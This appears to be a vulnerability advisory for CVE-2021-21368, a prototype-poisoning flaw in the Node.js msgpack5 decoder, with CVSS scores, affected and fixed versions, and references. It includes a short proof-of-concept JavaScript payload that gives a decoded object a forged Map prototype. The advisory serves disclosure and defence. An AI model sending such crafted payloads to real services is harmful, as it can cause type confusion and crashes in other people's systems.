CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
82.4%
The issue is as follows: when msgpack5
decodes a map containing a
key "__proto__"
, it assigns the decoded value to __proto__
. As you
are no doubt aware, Object.prototype.__proto__
is an accessor
property for the receiver’s prototype. If the value corresponding to
the key __proto__
decodes to an object or null
, msgpack5
sets
the decoded object’s prototype to that value.
An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example length
,
numeric properties, and push
et al if __proto__
's value decodes to
an Array
); and/or may throw unexpected exceptions when used (for
example if the __proto__
value decodes to a Map
or Date
). Other
unexpected behavior might be produced for other types.
There is no effect on the global prototype.
An example:
const msgpack5 = require('msgpack5')();
const payload = {};
Object.defineProperty(payload, '__proto__', {
value: new Map().set(1, 2),
enumerable: true
});
const encoded = msgpack5.encode(payload);
console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02>
const decoded = msgpack5.decode(encoded);
// decoded's prototype has been overwritten
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 }
console.log(decoded.get); // [Function: get]
// decoded appears to most common typechecks to be a Map
console.log(decoded instanceof Map); // true
console.log(decoded.toString()); // [object Map]
console.log(Object.prototype.toString.call(decoded)); // [object Map]
console.log(decoded.constructor.name); // Map
console.log(Object.getPrototypeOf(decoded).constructor.name); // Map
// decoded is not, however, a Map
console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false
// using decoded as though it were a Map throws
try {
decoded.get(1);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.get called
// on incompatible receiver #<Map>
}
try {
decoded.size;
} catch (error) {
console.log(error); // TypeError: Method get Map.prototype.size
// called on incompatible receiver #<Map>
}
// re-encoding the decoded value throws
try {
msgpack5.encode(decoded);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.entries
// called on incompatible receiver #<Map>
}
This “prototype poisoning” is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value’s prototype is
affected, and it can only be set to msgpack5
values (though if the
victim makes use of custom codecs, anything could be a msgpack5
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer’s code).
Versions v5.2.1, v4.5.1, v3.6.1 include the fix.
Always validate incoming data after parsing before doing any processing.
If you have any questions or comments about this advisory:
Vendor | Product | Version | CPE |
---|---|---|---|
msgpack5_project | msgpack5 | * | cpe:2.3:a:msgpack5_project:msgpack5:*:*:*:*:*:node.js:*:* |
github.com/advisories/GHSA-gmjw-49p4-pcfm
github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8
github.com/mcollina/msgpack5/releases/tag/v3.6.1
github.com/mcollina/msgpack5/releases/tag/v4.5.1
github.com/mcollina/msgpack5/releases/tag/v5.2.1
github.com/mcollina/msgpack5/security/advisories/GHSA-gmjw-49p4-pcfm
nvd.nist.gov/vuln/detail/CVE-2021-21368
www.npmjs.com/package/msgpack5
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
82.4%